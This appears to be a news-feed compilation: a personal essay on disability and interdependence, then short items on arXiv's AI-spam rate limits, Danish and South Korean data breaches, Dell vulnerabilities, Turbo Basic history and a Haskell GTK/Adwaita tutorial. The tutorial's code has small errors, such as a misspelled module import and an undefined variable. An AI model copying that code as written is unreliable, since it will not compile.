My room has been engineered around what my body can and cannot do.

There is an adjustable bed, a trapeze bar, a stability pole, shelves within reach, rolling carts, grabbers, remotes, and devices mounted to the wall. A small keyboard has a grip attached so I can hold it without dropping it. My tablet docks beside the bed. Bags hang from improvised hooks.

None of this happened all at once. The room evolved through years of trial and error, frustration, invention, and help from people who love me.

It would be easy to look at this arrangement and see dependence. But I look at it and see a functioning life.

From this room, I write articles, attend appointments, talk to friends, manage projects, edit essays, and take classes in graduate school. The assistance and technology surrounding me do not prevent independence. They make my version of it possible.

This only sounds contradictory because our culture has adopted a bizarre definition of independence : doing everything yourself, without visible assistance.

By that standard, almost no one is independent.

The myth of the self-sufficient person

We imagine a capable adult as someone who earns their own money, drives their own car, maintains their own home, and handles their own problems. This person may participate in society, but they are not supposed to need it too much.

Yet the supposedly self-sufficient person wakes in a home built by other people, turns on electricity delivered through a vast public infrastructure, drinks water transported through municipal pipes, eats food grown and shipped by strangers, and drives on roads they did not construct.

They rely on mechanics, doctors, pharmacists, sanitation workers, software developers, farmers, warehouse employees, electricians, and thousands of people they will never meet.

Increasingly, they also rely on algorithms. Phones provide directions. Calendar alerts remember appointments. Search engines retrieve information. Apps deliver food, transfer money, refill prescriptions, and summon transportation.

The difference between their dependence and mine is not that mine exists. It is that mine is visible.

Our culture is selective about which kinds of assistance count as evidence of inadequacy. A person who drives to the grocery store is considered independent, although the car depends on fuel, roads, mechanics, insurance, and a global manufacturing network. A person who orders groceries because they cannot walk through the store may be considered dependent.

A wealthy person can outsource cooking, cleaning, transportation, scheduling, and shopping while remaining a model of success. A poor or disabled person who needs help with the same tasks may be expected to prove they have exhausted every other possibility.

The distinction is rarely about whether assistance is involved. It is about whose assistance has been normalized, purchased privately, concealed, or transformed into status.

Some people have the privilege of making their dependence invisible. Disabled people often do not. Our wheelchairs, canes, aides, ramps, medication organizers, and modified environments announce that human beings require support. This may make people uncomfortable because it undermines the fantasy that they do not.

Assistance versus agency

Part of the problem is that we confuse independence with autonomy. They're not the same thing.

Independence, as our culture usually defines it, means completing a task without help. Autonomy means having meaningful control over your own life. Sometimes that requires assistance.

I may need someone to bring an object across the room, but I still decide what I am doing with it. I may need my husband to drive me somewhere, but I still choose where I am going. I may rely on technology to work, but the thoughts and decisions remain mine.

A person can complete every physical task alone while having very little control over their life. Another can require extensive assistance while directing their care, maintaining relationships, creating work, and participating fully in the world.

Doing something without help is not the highest form of human functioning, but often, merely the least efficient. Disabled people learn this quickly because insisting on doing everything ourselves can consume an entire day’s energy, increase pain, create danger, or make the rest of life impossible.

I could use much of my limited strength trying to prove I do not need assistance. Or I could accept help and use that strength to write. I know which one produces a life I want.

Human survival has always been openly collective . People hunted, farmed, built, cooked, raised children, cared for the sick, and protected communities together. The fantasy of total self-sufficiency is not a description of human nature. It is a cultural story.

Disabled people understand this particularly well because we know that functioning is conditional. A person can be capable in one environment and unable to function in another.

A staircase can turn a mobile person into an immobile one. Captions can transform an inaccessible video into an accessible one. A flexible schedule can make employment possible. A delivery service can be the difference between having groceries and going without them.

Ability does not reside inside an individual body. It is created by the surrounding world.

The same principle applies beyond disability. Parents function differently when childcare is available. Workers function differently when they have paid leave. Older adults function differently when transportation and home assistance are available. Students function differently when they have reliable internet access.

The future can't afford the fantasy

The future will make our interdependence increasingly difficult to deny.

The world population is aging. More people will live with chronic illness, mobility limitations, cognitive changes, and the ordinary physical consequences of getting older . At the same time, families are smaller and more geographically dispersed. Many people will not have an adult child nearby who can absorb hours of unpaid care.

Meanwhile, healthcare, housing, transportation, and workplaces remain designed around an imaginary person who is healthy, mobile, cognitively consistent, technologically competent, and endlessly available.

We can continue treating every person who needs help as an individual crisis, forcing families to improvise private solutions until caregivers are exhausted and the people receiving care are isolated. Or we can admit that needing support is a predictable part of being human and design society accordingly.

That would mean accessible housing , reliable transportation, flexible employment, paid caregiving, affordable assistive technology, better home healthcare, and support that arrives before people reach a breaking point.

Climate instability will make the lesson unavoidable. Extreme heat, fires, floods, power outages, and disrupted supply chains reveal how thoroughly everyone depends on functioning roads, clean water, electricity, communication networks, pharmacies, emergency services, and neighbors willing to check on one another.

Resilience does not come from pretending everyone can survive alone. It comes from having strong networks of support.

Technology is also interdependence

Technology may allow more people to work, learn, communicate, receive healthcare, and remain at home longer. Smart devices can control lights, lock doors, provide reminders, call for help, and reduce the physical effort required for everyday tasks.

Artificial intelligence may help people organize information, navigate bureaucracy, translate language, and compensate for some cognitive or physical limitations. Robotics may eventually assist with lifting, mobility, household work, and personal care.

But technology will not eliminate dependence. It will create new forms of it.

A smart home depends on electricity, internet service, software, manufacturers, cybersecurity, technical support, and affordability. A robot caregiver will still require maintenance, oversight, funding, and ethical rules.

The better question is how technology can help people exercise greater autonomy within the relationships of dependence that already exist. It can also make care more sustainable instead of leaving every need to an exhausted spouse, daughter, friend, or neighbor.

Care is infrastructure

We usually speak of infrastructure as roads, bridges, power lines, water systems, and broadband. But care is a form of infrastructure too.

Without childcare, eldercare, healthcare, disability support, and domestic labor, the rest of society does not function. Yet care is largely absent from our dominant image of independence.

A person may appear self-sufficient because someone else schedules appointments, cooks meals, cleans the house, manages medications, or notices when something is wrong. That work is often underpaid, unpaid, or invisible.

Care is exhausting. A relationship of dependence can create unequal power. Families can be loving, willing to help, and still overwhelmed. People receiving assistance can be controlled, infantilized, neglected, or abused. That is precisely why care cannot remain invisible.

When we recognize it as essential infrastructure, we can build compensation, safeguards, alternatives, and accountability into it. We can protect both the autonomy of the person receiving care and the well-being of the person providing it.

What my room actually proves

A society designed for interdependence would not force people to become catastrophically ill before they qualified for support. It would not require disabled people to repeatedly prove incapacity in order to receive tools that increase their capacity.

It would recognize that accessibility benefits far more people than those carrying an official diagnosis . It would make remote participation ordinary, build homes people could continue living in as their bodies changed, and ensure that receiving care did not require surrendering dignity or control. It would also stop dividing people into helpers and helped, contributors and burdens.

I need help with many physical tasks. I also write, coach, organize, advise, make people laugh, and contribute to the lives of people around me. Support does not flow in only one direction. It moves through relationships in different forms at different times.

My life works because I stopped measuring success by how convincingly I could imitate a person who needed nothing. I accept help. I use tools. I rearrange the world within reach. I depend on people in some ways, and they depend on me in other ways.

The independent individual has always been imaginary, and disabled people already know this. Independence does not mean needing no one. It means having enough support to direct your own life.

The future of independence is not isolation.

It is interdependence, designed deliberately, rather than denied.

arXiv Is Rate Limiting Submissions Because It Can’t Keep up With AI Slop

403 Media
www.404media.co
2026-10-05 11:29:49
The academic publisher said submissions have doubled in the past two years and moderators are having a hard time keeping up....
Original Article

arXiv, an open-access repository where researchers publish preprint academic research, has announced it will rate limit submissions because it has been inundated with AI-written papers. A researcher can now only send in two pieces per calendar month and have a total of three active submissions at any given time. In a blog post about the change, arXiv said AI has made it too easy to spam the publisher’s inbox and its volunteer moderation team is overwhelmed.

“The heart of arXiv’s process for detecting and rejecting low-quality papers is our many volunteer moderators,” Thomas Dietterich, an Oregon State University professor emeritus and the chair of arXiv’s editorial advisory council said in a statement. “We are so grateful that they donate their time and expertise every day. However, a relatively small proportion of authors are submitting a large number of low-quality papers and consuming a disproportionate fraction of the moderators’ time. This is unfair to authors who continue to submit quality papers — their papers can be delayed for days or weeks as a result.”

According to arXiv, it received 9,869 submissions in September 2016, 20,569 submissions in September 2024, and 40,363 submissions in September 2026. Submissions on the site have doubled in the last two years and have sextupled in the computer science category.

AI is driving this surge in multiple ways. Researchers are using LLM to parse massive data sets, write code, and design portions of experiments; some are also using AI to write the papers. “arXiv policy permits authors to employ AI as a tool in support of their research as long as it is disclosed and the research meets arXiv’s standards of scholarly interest and advances the field of research,” arXiv said in its rate limiting blog. “However, many of the submissions that arXiv is now receiving do not satisfy these requirements.”

arXiv said it’s seen an increase in “thin papers of narrow scope” as well as salami papers — where researchers write multiple articles based on one study. “There is also a marked increase in dense, AI-written papers. AI tools are making it easy for authors to flood arXiv and other repositories with these low-value papers,” it said.

Rate limiting was already part of arXiv’s policy, but it was originally left to each individual moderator’s discretion. “This policy update strives to fairly distribute the incredibly valuable work of our volunteer moderators who check that submissions meet these standards,” the publisher said.

This new policy is another part of a long battle the publication is having with AI-powered slop and spam. A little less than a year ago, the archive stopped accepting review articles and position papers in the computer science category and cited low effort LLM-written articles as the reason. In January it started requiring new authors to receive an endorsement from an existing author in the system. Previously the publisher accepted an academic email address as the sole qualifier. In May, arXiv took things a step farther and said it would ban researchers who submitted AI slop from the site for a year.

About the author

Matthew Gault is a writer covering weird tech, nuclear war, and video games. He’s worked for Reuters, Motherboard, and the New York Times.

Matthew Gault

Hell Gate's Biggest Sale Ever

hellgate
hellgatenyc.com
2026-10-05 11:24:18
To celebrate another successful year, we're offering an unprecedented deal on all annual subscriptions....
Original Article
Hell Gate's Biggest Sale Ever

Sales

To celebrate another successful year, we're offering an unprecedented deal on all annual subscriptions.

Scott's Picks:

If you've been appreciating Hell Gate's hard-hitting journalism, incisive cultural criticism, and delightful blog posts but you've been waiting for the right moment to become a paid subscriber, your wait is over .

Right now we're offering 35 percent off all annual subscriptions . It's quite literally our biggest sale ever, and it's the best way for you to support our worker-owned journalism.

This means that a year-long Friend-level subscription costs less than $4/month!

Or, become a Supporter or a Believer for a few bucks more, and get sweet perks, including: invitations to our quarterly events, a Hell Gate sticker, and, for Believers, a piece of high-quality, union-made swag we release every year.

Subscribers don't just receive unfettered access to our archive of stories. You'll get the satisfaction of knowing that you're helping us to keep intelligent, independent, fun-to-read, worker-owned journalism alive and growing in the greatest city in the world.

This past year, thanks to our subscribers, we've been able to publish a massive investigative project , launch a video podcast , and hire two editors. What will next year bring? Read our annual report —which just dropped today—for more.

There has never been a better time to support Hell Gate with your hard-earned cash . But don't wait, because our greatest deal ever will not last forever!

Note: This deal is for new subscribers only—don't cancel your existing subscription to get in on this sale, it won't work, we promise!

Related Posts

Great! You’ve successfully signed up.

Welcome back! You've successfully signed in.

You've successfully subscribed to Hell Gate.

Your link has expired.

Success! Check your email for magic link to sign-in.

Success! Your billing info has been updated.

Your billing was not updated.

Denmark population registry data breach affects 8.8 million people

Bleeping Computer
www.bleepingcomputer.com
2026-10-05 11:21:10
Denmark's Central Population Register (CPR) is warning of a data breach that exposed the personal information of approximately 8.8 million registered individuals. [...]...
Original Article

Denmark

Denmark's Central Population Register (CPR) is warning of a data breach that exposed the personal information of approximately 8.8 million registered individuals.

This includes people who live in the country, individuals who have moved abroad, and also deceased people.

The CPR is the country's national civil registry, containing personal information on residents, including names, addresses, dates of birth, marital status, and unique CPR identification numbers.

According to a CPR announcement published earlier today, threat actors misused a private Danish company's legitimate access to the registry system to obtain names, addresses, CPR numbers, and other information relating to registered members.

A separate announcement by the Danish Data Protection Agency says that the attack involved some form of brute-forcing to enumerate valid CPR numbers, and then extract the related data from each entry.

The CPR system currently holds data for 11 million registered citizens, so the incident impacted a large portion (80%) of that, but not everyone.

The security incident occurred in September 2026, but CPR administration became aware of the breach on October 2 and determined the size of the impact over the weekend.

The private company's access to the registry has now been blocked, and police have launched an investigation, which is currently underway.

"This is an extremely serious incident, which is why I have also informed Parliament’s Business and Digitalization Committee," stated Minister for Research, Education and Digitalization Christina Egelund.

"Together with all relevant authorities, we are working to establish the full extent of the incident."

Egelund said additional security measures have been implemented to prevent similar incidents on the CPR system, and urged citizens to stay on high alert for unsolicited communications.

A dedicated "cyber hotline" has been set up for potentially affected individuals,, and help and guidance are also available online at sikkerdigital.dk .

"In light of the incident, everyone is reminded never to disclose passwords or other confidential information in response to telephone calls, emails, or similar communications," the announcement warned.

"This also applies even if the recipient appears to know your name, address, and CPR number."

BleepingComputer has contacted the agency to learn more about the incident, including how the private company was compromised, but we have not received a response as of publication.

article image

Build your security blueprint for AI-powered attacks

Join Mikko Hyppönen and security leaders from the NFL, CHANEL, and Atlassian for a two-hour digital summit on what AI-speed attacks change, what defenders should stop doing, and how to validate, decide, fix, and re-validate at machine speed.

Save your seat

Borland Turbo Basic

Hacker News
dosdays.co.uk
2026-10-05 11:11:31
Comments...
Original Article

Borland International, Inc.

Turbo BASIC started life as BASIC/Z and written by Robert "Bob" Zale. It was the first interactive compiler running on the CP/M operating system, but in 1987, Borland purchased it and published it for MS-DOS. It was sold only for a couple of years, before being discontinued, so Bob bought the rights back to continue it under the title PowerBASIC.

Aside from being a compiler rather than just an interpreter, it also permitted much larger executable programs to be created. GWBASIC was limited to .BAS (BASIC interpreter code) files of no larger than 64 KB. With Turbo BASIC you could create files of any size as long as it fit into available memory.

One of the most popular features of Borland's compilers was that they featured an IDE, or Integrated Development Environment . At the time, some referred to these as "Edit-Compile-Run" development environments. While it may not seem any better than, say, GWBASIC, in these days a compiler was a professional tool and it was more typical to use your favourite text editor to write code and then run the compiler and linker from the command-line to create a .EXE file. Within the IDE you could write and format your source code, configure all of the compiling options such as memory usage and then either run it "in-memory" or compile it to an executable. When compiling, it would create an object code file as well - an intermediate file between the high-level language you program in and the binary executable file. These would have a .OBJ file extension.

While in Borland's control, several versions were released.


Borland Turbo Basic version 1.0

The first version was of course v1.0. For anyone who had already written BASIC programs in GWBASIC or QBASIC, you could load its .BAS files into Turbo BASIC and it would be around 90% compatible with the exception of just a few commands. You would need to save the file in GWBASIC using this syntax to ensure it was in ASCII mode: SAVE option "myprog",A

Later that same year, Borland released the last version, 1.1 - believed to simply be a bug-fix release of v1.0. Click here for the original User Manual.

In 1987 Borland released a series of complementary "Turbo Toolboxes" that would work with Turbo BASIC:

" Borland International is not standing pat on the 80,000 copies of Turbo Basic the company estimated it sold in the program's first 10 weeks. Borland has announced a toolbox of programming aids for the product that includes tools for database, editor, and communications programming.

The Turbo Basic Database Toolbox, announced last week, adds muscle to the language's traditional weakness by providing access, sort, and screen I/O routines for database programming. It uses long integers for record numbers, supporting databases of over 2 billion records. The product also support the B+ tree method of index files, as well as data file import from ASCII, Dbase version, and Reflex.

The Turbo Basic Editor Toolbox includes both a control-character-driven multiwindow, multifile text editor and a text editor with pull-down menus. Both are RAM based, resulting in quick file access.

The Turbo Basic Telecom Toolbox provides the routines required to build a communications program. It includes an asynchronous communications tutorial and routines for controlling ports and screen handling.

The three packages, available in the third quarter for $99.95 each, include complete source code."


InfoWorld, 27th July 1987

Borland International were initially headquartered in Scotts Valley, CA:

Enterprise Technology Center, Scotts Valley, CA, just off Highway 17 in the Santa Cruz mountains

The 7-building campus was built at the height of Borland's success in 1993, and comprised a massive 444,000 square feet of office space, an Olympic-sized swimming pool, tennis and basketball courts, indoor and outdoor amphitheatre and ornate water features. It cost nearly $120M to build the campus for its 1,200 employees. The campus was acquired by a Chinese invester in 2013 for 1/10th of its original cost.

RustConf recordings

Linux Weekly News
lwn.net
2026-10-05 11:11:11
The Rust Foundation has posted the recordings from RustConf 2026 in Montreal, Canada. Photos of the event are also available. LWN covered four talks from RustConf this year. ...
Original Article

[Posted October 5, 2026 by daroc]

The Rust Foundation has posted the recordings from RustConf 2026 in Montreal, Canada. Photos of the event are also available. LWN covered four talks from RustConf this year.



[$] An update on the Sashiko patch-review system

Linux Weekly News
lwn.net
2026-10-05 11:10:37
Patch review has long been one of the limiting constraints for the kernel project (and most others); there just aren't enough people to properly review all of the code that is submitted for inclusion. The Sashiko system, which uses a large language model (LLM) to generate reviews automatically, off...
Original Article
The page you have tried to view ( An update on the Sashiko patch-review system ) is currently available to LWN subscribers only. Reader subscriptions are a necessary way to fund the continued existence of LWN and the quality of its content.

If you are already an LWN.net subscriber, please log in with the form below to read this content.

Please consider subscribing to LWN . An LWN subscription provides numerous benefits, including access to restricted content and the warm feeling of knowing that you are helping to keep LWN alive.

(Alternatively, this item will become freely available on October 15, 2026)

Steinar H. Gunderson: Decompilation patterns part 2: do-while

PlanetDebian
blog.sesse.net
2026-10-05 11:00:25
Continuing our journey on decompilation patterns, here's another common one: Let's say m2c outputs code like this: loop_151: ... if (var_s0 > var_s1) goto loop_151; then the natural change is: do { ... } while (var_s0 > var_s1); Fewer gotos are nearly always good, and this is a muc...
Original Article

Continuing our journey on decompilation patterns, here's another common one: Let's say m2c outputs code like this:

loop_151:
  ...
  if (var_s0 > var_s1) goto loop_151;

then the natural change is:

do {
  ...
} while (var_s0 > var_s1);

Fewer gotos are nearly always good, and this is a much more likely pattern than the original one.

m2c often manages to convert gotos to do/while, but not always when they are e.g. nested in some other loop; so often, you may need to apply some other transformation before you get to this point.

Tomorrow, we'll look at another variation over this topic.

New Dell System Update flaw lets hackers gain root privileges

Bleeping Computer
www.bleepingcomputer.com
2026-10-05 10:53:06
Dell warned customers to patch a critical vulnerability in the System Update (DSU) command-line interface (CLI) deployment tool as soon as possible. [...]...
Original Article

Dell

Dell warned customers to patch a critical vulnerability in the System Update (DSU) command-line interface (CLI) deployment tool as soon as possible.

DSU lets enterprise IT administrators deploy BIOS, firmware, and software updates onto Linux and Windows systems on PowerEdge enterprise server infrastructure.

In a Thursday security advisory, the company said the flaw (tracked as CVE-2026-86360) allows threat actors to execute code with root privileges on unpatched devices by exploiting a path traversal weakness.

"An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Filesystem access for [an] attacker," the company Dell said . "This vulnerability is considered critical because it can be leveraged by an unauthenticated attacker to execute arbitrary code with root privileges. Successful exploitation may allow complete compromise of the vulnerable application and underlying operating system."

The FBI and the U.S. Cybersecurity and Infrastructure Security Agency (CISA) have urged software companies since May 2024 to remove path traversal weaknesses from their products before shipping, saying such security issues "have been called 'unforgivable' since at least 2007."

Dell also patched four high-severity Dell System Update security flaws on Thursday, two that remote attackers can exploit to gain remote code execution (CVE-2026-63697 and CVE-2026-71168) and two more that can be abused for privilege escalation (CVE-2026-86361 and CVE-2026-86362).

"Dell recommends customers upgrade at the earliest opportunity," the company said, advising customers to update Dell System Update (DSU) to 2.3.0.0 or later, which patches the flaws.

That same day, Dell also urged IT administrators to patch two maximum-severity Container Storage Modules (CSM) vulnerabilities (CVE-2026-63688 and CVE-2026-63692) as soon as possible.

While Dell has not yet flagged any of these flaws as actively exploited, state-backed hacking groups have abused other Dell vulnerabilities in attacks in recent years.

For instance, the North Korean Lazarus hacking group deployed a Windows rootkit on victims' systems by exploiting an insufficient access control vulnerability (CVE-2021-21551) in the Dell dbutil driver.

More recently, Mandiant and the Google Threat Intelligence Group (GTIG) revealed in February that suspected Chinese cyber spies (tracked as UNC6201) had been exploiting a hardcoded-credential vulnerability (CVE-2026-22769) in Dell RecoverPoint for Virtual Machines since at least mid-2024 to create hidden network interfaces on VMware ESXi servers and deploy malware payloads.

They also found overlaps between UNC6201 and the Silk Typhoon Chinese cyberespionage group, which is known for targeting government agencies with custom Zipline and Spawnant malware in Ivanti zero-day attacks.

Days later, CISA ordered federal agencies to patch vulnerable Dell systems on their networks within three days.

article image

Build your security blueprint for AI-powered attacks

Join Mikko Hyppönen and security leaders from the NFL, CHANEL, and Atlassian for a two-hour digital summit on what AI-speed attacks change, what defenders should stop doing, and how to validate, decide, fix, and re-validate at machine speed.

Save your seat

Making a GTK application in Haskell, part 1

Lobsters
floreal.tech
2026-10-05 10:22:54
Comments...
Original Article

In this series, we are going to build a todo-list application using Haskell, GTK 4, and the Adwaita library. Adwaita will provide us with many useful widgets and styles. Let's dive in!

This series' intended audience is intermediate Haskellers, with development experience with the language.

GTK 4, Adwaita

Adwaita is a library of GTK components that serve as the design language of the GNOME project. In short: Every decision that the GNOME project has made in terms of accessibility and style (the Human Interface Guidelines, HIG) is encoded in libadwaita.

Libawaita gives you many features: for instance it lets you create applications with responsive design, which are recolored at runtime when the desktop switches between light and dark themes.

Haskell and GTK

Throughout this series we will use the haskell-gi toolkit, which auto-generates Haskell bindings from GTK libraries, and allows us to get a Haskell interface to GTK that you can still relate to the C API.


To keep this post readable, the code that you will see will not be complete, in order for me to underline the main concepts.
You can find the whole project at https://github.com/Floreal-Technologies/adwaita-todo .


Your first window

To begin, here is a self-contained example of the structure of a GTK 4 / Adwaita application.

Let's create the adwaita " Application " that will handle resource management for us (including Adwaita stylesheets, which are pretty cool):

module Main (main) where

import GI.Awd qualified as Adw
import GI.Gio qualified as Gio
import GI.GTK qualified as Gtk

main :: IO ()
main = do
  -- The `new X [#attribute := value]` syntax creates a Gtk object
  -- with its properties. The hash syntax is called OverloadedLabels.
  app <- new Adw.Application [#applicationId := "tech.floreal.TodoApp"]
  -- We connect the "activate" signal to the "activate" handler.
  on app #activate (activate app)
  -- We run the main application loop.
  Gio.applicationRun app Nothing
  pure ()

activate :: Adw.Application -> IO ()
activate app = do
  header <- new Adw.HeaderBar []
  toolbar <- new Adw.ToolbarView []
  Adw.toolbarViewAddTopBar toolbar header
  window <- 
    new Adw.ApplicationWindow
      [ #application := app
      , #title := "Todos"
      , #defaultWidth := 480
      , #defaultHeight := 640
      , #content := toolbar
      ]
  Gtk.windowPresent window

Lo and behold! An empty window that displays "Todos" as its title, and its dimensions are 480 by 640.

An empty window

Model-View-Update: The Elm Architecture

The Elm Architecture (or TEA) is a pattern for architecting interactive programs. At its core are three concepts:

Model
The state of the application
View
The way to turn the Model into a user interface (HTML, GTK, etc)
Update
The way to update your Model based on Messages

Alongside those concepts we can find

Message
An enumeration of all the possible interactions of the user with the application
Effects
Not only does the Update function return an updated Model , but it returns also a list of actions to be performed on the side, called Effects.

This approach was broadly popularised by Elm, and lends itself quite well to taming the imperative nature of the GTK toolkit.

The Todo App

Now the time has come to represent our application state and its actions. In the spirit of the Elm Architecture, everything will be modelled as data structures, so that we have absolute visibility on what actions were triggered and what they entail.

The model

newtype TodoId = TodoId Word
  deriving stock (Show)
  deriving newtype (Eq, Ord)

data Todo = Todo
  { id :: TodoId
  , title :: Text
  , done :: Bool
  }
  deriving stock (Eq, Show)

data Model = Model
  { todos :: Map TodoId Todo
  , nextId :: TodoId 
  }
  deriving stock (Eq, Show)

-- In our case, the effect here represents
-- saving the todo-list on disk.
data Effect = Save [Todo]
  deriving stock (Eq, Show)

init :: Model
init = Model
  { todos = Map.empty
  , nextId = TodoId 0
  }

The messages

User interactions with the application are modelled as Messages: A known set of actions for which we have clear actions that modify the model.

Let's start with a couple of messages that the user may trigger to update the model:

data Message
  = Add Text
  | SetDoneStatus TodoId Bool
deriving stock (Eq, Ord)

Not much so far, but we will add more as we go.

Updating the model

update :: Message -> Model -> (Model, [Effect])
update message model = case message of
  Add raw -> 
    let text = Text.strip raw
        todoId@(TodoId n) = model.nextId
        todo = Todo{ id = todoId, title = text, done = False }
    in if Text.null text
    then (model, [])
    else
      withTodos
        (Map.insert todo.id todo)
        model{ nextId = TodoId (n + 1)}
  SetDoneStatus todoId value ->
    withTodos (Map.adjust (\todo -> todo {done = value}) todoId) model
 where
  -- This is where we determine if our todos have changed,
  -- so that we can save them.
  withTodos f changed =
    let result = changed {todos = f changed.todos}
    in if result.todos == model.todos
         then (result, [])
         else (result, [Save (Map.elems result.todos)])

Let's now open GHCi and try things out:

$ cabal repl
-- Let's add a task to buy leeks
ghci> let (m1, e1) = update (Add "Buy leeks") init

-- This triggers a "Save" effect for an unfinished task
ghci> e1
[Save [Todo {id = TodoId 0, title = "Buy leeks", done = False}]]

-- Let's set the task as done
ghci> let (m2, e2) = update (SetDoneStatus (TodoId 0) True) m1

-- Since the status has changed, we have to save it
ghci> e2
[Save [Todo {id = TodoId 0, title = "Buy leeks", done = True}]]

-- Setting the task to True again does not trigger a Save effect,
-- so the effects list is empty.
ghci> update (SetDoneStatus (TodoId 0) True) m2
(Model{ nextId = TodoId 1
      , todos = fromList [
          (TodoId 0, Todo{ id = TodoId 0
                         , title = "Buy leeks"
                         , done = True})]
      }, []) -- ← empty list!

This is our domain logic, encoded as a sum type of messages and an update function to change the state.

Let us now design our interface.

The View

It's always good to write down what your expectations are before starting a user interface.

From experience, design does not immediately follow from data, and so I tend less and less to look at the shape of my data to inform my designs.

Draft of the UI on a piece of paper
In our case it is pretty simple, but I like to draw.

Widgets

We are going to make use of several widgets (Click on their name to see a screenshot of what they look like):

Box
A box arranges child widgets in a row or column
ListBox
A list of rows that can be dynamically filtered and sorted. Useful later to filter on status and sort by age.
EntryRow
The entry of a row, with a title, a placeholder text, and an icon to show that it is editable. It is a sublass of ListBox, so it will live in a ListBox.
ActionRow
A more restricted version of the EntryRow, which cannot be edited in-place. It can still get action icons, and lives in a ListBox.
Clamp
A widget that constrains its child to a given size. Useful to enforce margins so that the background is visible at the edges.
ScrolledWindow
This widget makes its child scrollable. Does what it says on the tin.
ToolbarView
A view widget containing a page, as well as top and bottom bars.

Time 2 Lego

With those building blocks at hand, let's write down how our widgets connect with each other:

module Todo.View (view) where

-- Imports
-- […]

-- `dispatch` will be defined later in the Runtime module,
-- and is the function that  turns a message into a change
-- of state / model.
view
  :: (Message -> IO ())
  -> Model
  -> IO Gtk.Widget
view dispatch model = do
  -- Here, we define our input row, with its title and a signal handler
  -- to activate the retrieval of our input when it is activated.
  inputRow <- new Adw.EntryRow [#title := "New task"]
  on entry #entryActivated $ do
    text <- Gtk.editableGetText inputRow
    dispatch (Add text) -- This is where we send our "Add" message

  -- EntryRow is a subclass of ListBox,
  -- so we must append our inputRow inside entryBox
  entryBox <- newBoxedList 
  Gtk.listBoxAppend entryBox inputRow

  -- The ListBox that will contain our tasks
  todoList <- newBoxedList
  forM_ (model.todos) $ \todo -> do
    row <- new Adw.ActionRow [#title := todo.title, #useMarkup := False]
    Gtk.listBoxAppend todoList row

  -- The main content widget, with various options
  -- to define the margins within its parent
  -- as well as the orientation.
  content <-
    new
      Gtk.Box
      [ #orientation := Gtk.OrientationVertical
      , #spacing := 12
      , #marginTop := 12
      , #marginBottom := 12
      , #marginStart := 12
      , #marginEnd := 12
      ]
  -- Let's not forget to append everything…
  Gtk.boxAppend content entryBox
  Gtk.boxAppend content todoList

  -- The parents of the content widget.
  clamp <- new Adw.Clamp [#child := content]
  scrolled <-
    new
      Gtk.ScrolledWindow
      [ #child := clamp
      ]

  -- A cute little footer for additional information,
  -- like the amount of tasks.
  count <- new Gtk.Label [#label := Text.show (Map.size model.todos)]
  footer <-
    new
      Gtk.Box
      [ #orientation := Gtk.OrientationHorizontal
      , #marginTop := 6
      , #marginBottom := 6
      , #marginStart := 12
      , #marginEnd := 12
      ]
  Gtk.boxAppend footer count

  -- Now let's assemble the header, content and footer!
  header <- new Adw.HeaderBar []
  toolbar <- new Adw.ToolbarView [#content := scrolled]
  Adw.toolbarViewAddTopBar toolbar header
  Adw.toolbarViewAddBottomBar toolbar footer
  Gtk.toWidget toolbar

-- A little helper to create a ListBox with the correct settings.
newBoxedList :: IO Gtk.ListBox
newBoxedList =
  new
    Gtk.ListBox
    [ #selectionMode := Gtk.SelectionModeNone
    , #cssClasses := ["boxed-list"]
    ]

We can't get a lot of visual feedback yet, so you will have to trust that it resembles the pencil-and-paper draft from earlier.

The Runtime

Similarly to the content of the demo from the beginning of the article, this is where we plug the Model-View-Update trio.

We will define two more functions: dispatch and step , and they love each other very much.

dispatch takes a message, handles GTK execution loop priority, and calls step to perform the model update that will lead to the view update.

step reads the model, calls update (from Model.hs ) on it to get the new model, write the new model, and pass the new model and the dispatch function to the View. The View gives back the new content as a Gtk widget, and we set this new content in the window.

Here is the code:

run :: Adw.Application -> IO ()
run app = do
  window <-
    new
      Adw.ApplicationWindow
      [ #application := app
      , #title := "Todos"
      , #defaultWidth := 480
      , #defaultHeight := 640
      ]
  ref <- newIORef Model.init
  let {- rec -}
      dispatch :: Model.Message -> IO ()
      dispatch message =
        void $ GLib.idleAdd GLib.PRIORITY_DEFAULT $ do
          step message
          pure GLib.SOURCE_REMOVE

      step :: Model.Message -> IO ()
      step message = do
        oldModel <- readIORef ref
        let (newModel, _effects) = Model.update message oldModel
        writeIORef ref newModel
        content <- View.view dispatch newModel
        Adw.applicationWindowSetContent window (Just content)

  content <- View.view dispatch Model.init
  Adw.applicationWindowSetContent window (Just content)
  Gtk.windowPresent window

Now, our Main module looks like this:

module Main where

main :: IO ()
main = do
  app <- new Adw.Application
     [#applicationId := "tech.floreal.AdwaitaTodo"]
  on app #activate (Runtime.run app)
  Gio.applicationRun app Nothing
  pure ()

And heeeere we go:

An application window with an input entry, and a list of two items 'Touch grass' and 'Buy leeks'
Pretty rad.

This concludes this article. See you in Part 2 for more features for our Todo List application!

South Korea probes bank breaches amid suspected AI-powered attacks

Bleeping Computer
www.bleepingcomputer.com
2026-10-05 10:22:12
South Korea's Financial Services Commission (FSC) held an emergency meeting following a series of cyberattacks targeting financial institutions in the country. [...]...
Original Article

Korea

South Korea's Financial Services Commission (FSC) held an emergency meeting following a series of cyberattacks targeting financial institutions in the country.

During the meeting, officials confirmed a data breach at Shinhan Bank and said other cybersecurity incidents affected other South Korean banks, including Kookmin Bank.

Shinhan Bank and KB Kookmin Bank are large private South Korean commercial banks, each holding more than $400 billion in assets.

Authorities said they launched on-site investigations after receiving incident reports and shared all actionable information with relevant agencies, including KISA (Korea's data protection agency).

Financial companies in the country are now instructed to:

  • Inspect all externally accessible IT systems and services, including those that are not customer-facing.
  • Reduce unnecessary information exposure and check for missing or inadequate authentication and access controls.
  • Quickly share threat information and coordinate their responses.
  • Submit their internal security inspection results as soon as possible.

Authorities also pledged to oversee consumer protection and compensation, and analyze the incidents to identify necessary regulatory improvements.

Yesterday, local media outlets reported that South Korea's President Lee ordered a thorough investigation into personal data leaks at financial and public institutions.

At the same time, Hana Bank was also found to have suffered a limited-scope breach after its sales-support system was compromised.

According to the same reports, Shinhan Bank leaked the details of 25,000 customers, while Kookmin Bank leaked credit card information of 119,000 clients.

AI-powered attacks suspected

While official channels provided no details about the perpetrators, Korean news agency Yonhap reported that a server used in the attacks had an HTML page title containing a Chinese-language string associated with ARTEX AI.

ARTEX AI is an open-source penetration-testing system that uses agents to automate information gathering, vulnerability discovery, attack-path planning, security-tool execution, and vulnerability verification.

